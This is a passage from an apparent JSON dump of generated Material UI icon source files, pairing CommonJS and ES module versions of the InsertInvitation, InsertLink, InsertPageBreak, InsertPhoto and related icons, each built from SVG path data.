    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4c-4.42 0-8 3.58-8 8s3.58 8 8 8 8-3.58 8-8-3.58-8-8-8m3.5 4c.83 0 1.5.67 1.5 1.5s-.67 1.5-1.5 1.5-1.5-.67-1.5-1.5.67-1.5 1.5-1.5m-7 0c.83 0 1.5.67 1.5 1.5S9.33 11 8.5 11 7 10.33 7 9.5 7.67 8 8.5 8m3.5 9.5c-2.33 0-4.31-1.46-5.11-3.5h10.22c-.8 2.04-2.78 3.5-5.11 3.5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"15.5\",\n  cy: \"9.5\",\n  r: \"1.5\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.99 2C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2M12 20c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8\"\n}, \"2\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"8.5\",\n  cy: \"9.5\",\n  r: \"1.5\"\n}, \"3\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 17.5c2.33 0 4.31-1.46 5.11-3.5H6.89c.8 2.04 2.78 3.5 5.11 3.5\"\n}, \"4\")], 'InsertEmoticonTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/InsertInvitation.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 12h-5v5h5zM16 1v2H8V1H6v2H5c-1.11 0-1.99.9-1.99 2L3 19c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2h-1V1zm3 18H5V8h14z\"\n}), 'InsertInvitation');"
  },
  {
    "path": "packages/mui-icons-material/lib/InsertInvitation.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 12h-5v5h5zM16 1v2H8V1H6v2H5c-1.11 0-1.99.9-1.99 2L3 19c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2h-1V1zm3 18H5V8h14z\"\n}), 'InsertInvitation');"
  },
  {
    "path": "packages/mui-icons-material/lib/InsertInvitationOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3h-1V1h-2v2H8V1H6v2H5c-1.11 0-1.99.9-1.99 2L3 19c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V9h14zm0-12H5V5h14zm-2 5h-5v5h5z\"\n}), 'InsertInvitationOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/InsertInvitationOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3h-1V1h-2v2H8V1H6v2H5c-1.11 0-1.99.9-1.99 2L3 19c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V9h14zm0-12H5V5h14zm-2 5h-5v5h5z\"\n}), 'InsertInvitationOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/InsertInvitationRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 12h-3c-.55 0-1 .45-1 1v3c0 .55.45 1 1 1h3c.55 0 1-.45 1-1v-3c0-.55-.45-1-1-1m0-10v1H8V2c0-.55-.45-1-1-1s-1 .45-1 1v1H5c-1.11 0-1.99.9-1.99 2L3 19c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2h-1V2c0-.55-.45-1-1-1s-1 .45-1 1m2 17H6c-.55 0-1-.45-1-1V8h14v10c0 .55-.45 1-1 1\"\n}), 'InsertInvitationRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/InsertInvitationRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 12h-3c-.55 0-1 .45-1 1v3c0 .55.45 1 1 1h3c.55 0 1-.45 1-1v-3c0-.55-.45-1-1-1m0-10v1H8V2c0-.55-.45-1-1-1s-1 .45-1 1v1H5c-1.11 0-1.99.9-1.99 2L3 19c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2h-1V2c0-.55-.45-1-1-1s-1 .45-1 1m2 17H6c-.55 0-1-.45-1-1V8h14v10c0 .55-.45 1-1 1\"\n}), 'InsertInvitationRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/InsertInvitationSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 12h-5v5h5zM16 1v2H8V1H6v2H3.01v18H21V3h-3V1zm3 18H5V8h14z\"\n}), 'InsertInvitationSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/InsertInvitationSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 12h-5v5h5zM16 1v2H8V1H6v2H3.01v18H21V3h-3V1zm3 18H5V8h14z\"\n}), 'InsertInvitationSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/InsertInvitationTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 5H5v2h14z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 21h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2h-1V1h-2v2H8V1H6v2H5c-1.11 0-1.99.9-1.99 2L3 19c0 1.1.89 2 2 2M5 7V5h14v2zm0 2h14v10H5zm7 3h5v5h-5z\"\n}, \"1\")], 'InsertInvitationTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/InsertInvitationTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 5H5v2h14z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 21h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2h-1V1h-2v2H8V1H6v2H5c-1.11 0-1.99.9-1.99 2L3 19c0 1.1.89 2 2 2M5 7V5h14v2zm0 2h14v10H5zm7 3h5v5h-5z\"\n}, \"1\")], 'InsertInvitationTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/InsertLink.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3.9 12c0-1.71 1.39-3.1 3.1-3.1h4V7H7c-2.76 0-5 2.24-5 5s2.24 5 5 5h4v-1.9H7c-1.71 0-3.1-1.39-3.1-3.1M8 13h8v-2H8zm9-6h-4v1.9h4c1.71 0 3.1 1.39 3.1 3.1s-1.39 3.1-3.1 3.1h-4V17h4c2.76 0 5-2.24 5-5s-2.24-5-5-5\"\n}), 'InsertLink');"
  },
  {
    "path": "packages/mui-icons-material/lib/InsertLink.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3.9 12c0-1.71 1.39-3.1 3.1-3.1h4V7H7c-2.76 0-5 2.24-5 5s2.24 5 5 5h4v-1.9H7c-1.71 0-3.1-1.39-3.1-3.1M8 13h8v-2H8zm9-6h-4v1.9h4c1.71 0 3.1 1.39 3.1 3.1s-1.39 3.1-3.1 3.1h-4V17h4c2.76 0 5-2.24 5-5s-2.24-5-5-5\"\n}), 'InsertLink');"
  },
  {
    "path": "packages/mui-icons-material/lib/InsertLinkOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3.9 12c0-1.71 1.39-3.1 3.1-3.1h4V7H7c-2.76 0-5 2.24-5 5s2.24 5 5 5h4v-1.9H7c-1.71 0-3.1-1.39-3.1-3.1M8 13h8v-2H8zm9-6h-4v1.9h4c1.71 0 3.1 1.39 3.1 3.1s-1.39 3.1-3.1 3.1h-4V17h4c2.76 0 5-2.24 5-5s-2.24-5-5-5\"\n}), 'InsertLinkOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/InsertLinkOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3.9 12c0-1.71 1.39-3.1 3.1-3.1h4V7H7c-2.76 0-5 2.24-5 5s2.24 5 5 5h4v-1.9H7c-1.71 0-3.1-1.39-3.1-3.1M8 13h8v-2H8zm9-6h-4v1.9h4c1.71 0 3.1 1.39 3.1 3.1s-1.39 3.1-3.1 3.1h-4V17h4c2.76 0 5-2.24 5-5s-2.24-5-5-5\"\n}), 'InsertLinkOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/InsertLinkRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3.96 11.38C4.24 9.91 5.62 8.9 7.12 8.9h2.93c.52 0 .95-.43.95-.95S10.57 7 10.05 7H7.22c-2.61 0-4.94 1.91-5.19 4.51C1.74 14.49 4.08 17 7 17h3.05c.52 0 .95-.43.95-.95s-.43-.95-.95-.95H7c-1.91 0-3.42-1.74-3.04-3.72M9 13h6c.55 0 1-.45 1-1s-.45-1-1-1H9c-.55 0-1 .45-1 1s.45 1 1 1m7.78-6h-2.83c-.52 0-.95.43-.95.95s.43.95.95.95h2.93c1.5 0 2.88 1.01 3.16 2.48.38 1.98-1.13 3.72-3.04 3.72h-3.05c-.52 0-.95.43-.95.95s.43.95.95.95H17c2.92 0 5.26-2.51 4.98-5.49-.25-2.6-2.59-4.51-5.2-4.51\"\n}), 'InsertLinkRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/InsertLinkRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3.96 11.38C4.24 9.91 5.62 8.9 7.12 8.9h2.93c.52 0 .95-.43.95-.95S10.57 7 10.05 7H7.22c-2.61 0-4.94 1.91-5.19 4.51C1.74 14.49 4.08 17 7 17h3.05c.52 0 .95-.43.95-.95s-.43-.95-.95-.95H7c-1.91 0-3.42-1.74-3.04-3.72M9 13h6c.55 0 1-.45 1-1s-.45-1-1-1H9c-.55 0-1 .45-1 1s.45 1 1 1m7.78-6h-2.83c-.52 0-.95.43-.95.95s.43.95.95.95h2.93c1.5 0 2.88 1.01 3.16 2.48.38 1.98-1.13 3.72-3.04 3.72h-3.05c-.52 0-.95.43-.95.95s.43.95.95.95H17c2.92 0 5.26-2.51 4.98-5.49-.25-2.6-2.59-4.51-5.2-4.51\"\n}), 'InsertLinkRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/InsertLinkSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3.9 12c0-1.71 1.39-3.1 3.1-3.1h4V7H7c-2.76 0-5 2.24-5 5s2.24 5 5 5h4v-1.9H7c-1.71 0-3.1-1.39-3.1-3.1M8 13h8v-2H8zm9-6h-4v1.9h4c1.71 0 3.1 1.39 3.1 3.1s-1.39 3.1-3.1 3.1h-4V17h4c2.76 0 5-2.24 5-5s-2.24-5-5-5\"\n}), 'InsertLinkSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/InsertLinkSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3.9 12c0-1.71 1.39-3.1 3.1-3.1h4V7H7c-2.76 0-5 2.24-5 5s2.24 5 5 5h4v-1.9H7c-1.71 0-3.1-1.39-3.1-3.1M8 13h8v-2H8zm9-6h-4v1.9h4c1.71 0 3.1 1.39 3.1 3.1s-1.39 3.1-3.1 3.1h-4V17h4c2.76 0 5-2.24 5-5s-2.24-5-5-5\"\n}), 'InsertLinkSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/InsertLinkTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3.9 12c0-1.71 1.39-3.1 3.1-3.1h4V7H7c-2.76 0-5 2.24-5 5s2.24 5 5 5h4v-1.9H7c-1.71 0-3.1-1.39-3.1-3.1M8 13h8v-2H8zm9-6h-4v1.9h4c1.71 0 3.1 1.39 3.1 3.1s-1.39 3.1-3.1 3.1h-4V17h4c2.76 0 5-2.24 5-5s-2.24-5-5-5\"\n}), 'InsertLinkTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/InsertLinkTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3.9 12c0-1.71 1.39-3.1 3.1-3.1h4V7H7c-2.76 0-5 2.24-5 5s2.24 5 5 5h4v-1.9H7c-1.71 0-3.1-1.39-3.1-3.1M8 13h8v-2H8zm9-6h-4v1.9h4c1.71 0 3.1 1.39 3.1 3.1s-1.39 3.1-3.1 3.1h-4V17h4c2.76 0 5-2.24 5-5s-2.24-5-5-5\"\n}), 'InsertLinkTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/InsertPageBreak.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 20c0 1.1.89 2 1.99 2H18c1.1 0 2-.9 2-2v-3H4zM20 8l-6-6H6c-1.1 0-1.99.9-1.99 2v7H20zm-7 1V3.5L18.5 9zm-4 4h6v2H9zm8 0h6v2h-6zM1 13h6v2H1z\"\n}), 'InsertPageBreak');"
  },
  {
    "path": "packages/mui-icons-material/lib/InsertPageBreak.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 20c0 1.1.89 2 1.99 2H18c1.1 0 2-.9 2-2v-3H4zM20 8l-6-6H6c-1.1 0-1.99.9-1.99 2v7H20zm-7 1V3.5L18.5 9zm-4 4h6v2H9zm8 0h6v2h-6zM1 13h6v2H1z\"\n}), 'InsertPageBreak');"
  },
  {
    "path": "packages/mui-icons-material/lib/InsertPageBreakOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 20H6v-3H4v3c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2v-3h-2zM6 4h7v5h5v2h2V8l-6-6H6c-1.1 0-2 .9-2 2v7h2zm3 9h6v2H9zm8 0h6v2h-6zM1 13h6v2H1z\"\n}), 'InsertPageBreakOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/InsertPageBreakOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 20H6v-3H4v3c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2v-3h-2zM6 4h7v5h5v2h2V8l-6-6H6c-1.1 0-2 .9-2 2v7h2zm3 9h6v2H9zm8 0h6v2h-6zM1 13h6v2H1z\"\n}), 'InsertPageBreakOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/InsertPageBreakRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 20c0 1.1.89 2 1.99 2H18c1.1 0 2-.9 2-2v-3H4zM19.41 7.41l-4.83-4.83c-.37-.37-.88-.58-1.41-.58H6c-1.1 0-1.99.89-1.99 1.99V11H20V8.83c0-.53-.21-1.04-.59-1.42M13 8V3.5L18.5 9H14c-.55 0-1-.45-1-1m2 6c0-.55-.45-1-1-1h-4c-.55 0-1 .45-1 1s.45 1 1 1h4c.55 0 1-.45 1-1m2 0c0 .55.45 1 1 1h4c.55 0 1-.45 1-1s-.45-1-1-1h-4c-.55 0-1 .45-1 1M6 13H2c-.55 0-1 .45-1 1s.45 1 1 1h4c.55 0 1-.45 1-1s-.45-1-1-1\"\n}), 'InsertPageBreakRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/InsertPageBreakRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 20c0 1.1.89 2 1.99 2H18c1.1 0 2-.9 2-2v-3H4zM19.41 7.41l-4.83-4.83c-.37-.37-.88-.58-1.41-.58H6c-1.1 0-1.99.89-1.99 1.99V11H20V8.83c0-.53-.21-1.04-.59-1.42M13 8V3.5L18.5 9H14c-.55 0-1-.45-1-1m2 6c0-.55-.45-1-1-1h-4c-.55 0-1 .45-1 1s.45 1 1 1h4c.55 0 1-.45 1-1m2 0c0 .55.45 1 1 1h4c.55 0 1-.45 1-1s-.45-1-1-1h-4c-.55 0-1 .45-1 1M6 13H2c-.55 0-1 .45-1 1s.45 1 1 1h4c.55 0 1-.45 1-1s-.45-1-1-1\"\n}), 'InsertPageBreakRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/InsertPageBreakSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 17h16v5H4zm16-9-6-6H4.01L4 11h16zm-7 1V3.5L18.5 9zm-4 4h6v2H9zm8 0h6v2h-6zM1 13h6v2H1z\"\n}), 'InsertPageBreakSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/InsertPageBreakSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 17h16v5H4zm16-9-6-6H4.01L4 11h16zm-7 1V3.5L18.5 9zm-4 4h6v2H9zm8 0h6v2h-6zM1 13h6v2H1z\"\n}), 'InsertPageBreakSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/InsertPageBreakTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 11H6V4h7v5h5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 20H6v-3H4v3c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2v-3h-2zM6 4h7v5h5v2h2V8l-6-6H6c-1.1 0-2 .9-2 2v7h2zm3 9h6v2H9zm8 0h6v2h-6zM1 13h6v2H1z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 17h12v3H6z\",\n  opacity: \".3\"\n}, \"2\")], 'InsertPageBreakTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/InsertPageBreakTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 11H6V4h7v5h5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 20H6v-3H4v3c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2v-3h-2zM6 4h7v5h5v2h2V8l-6-6H6c-1.1 0-2 .9-2 2v7h2zm3 9h6v2H9zm8 0h6v2h-6zM1 13h6v2H1z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 17h12v3H6z\",\n  opacity: \".3\"\n}, \"2\")], 'InsertPageBreakTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/InsertPhoto.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 19V5c0-1.1-.9-2-2-2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2M8.5 13.5l2.5 3.01L14.5 12l4.5 6H5z\"\n}), 'InsertPhoto');"
  },
  {
    "path": "packages/mui-icons-material/lib/InsertPhoto.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 19V5c0-1.1-.9-2-2-2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2M8.5 13.5l2.5 3.01L14.5 12l4.5 6H5z\"\n}), 'InsertPhoto');"
  },
  {
    "path": "packages/mui-icons-material/lib/InsertPhotoOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 5v14H5V5zm0-2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-4.86 8.86-3 3.87L9 13.14 6 17h12z\"\n}), 'InsertPhotoOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/InsertPhotoOutlined.mjs",
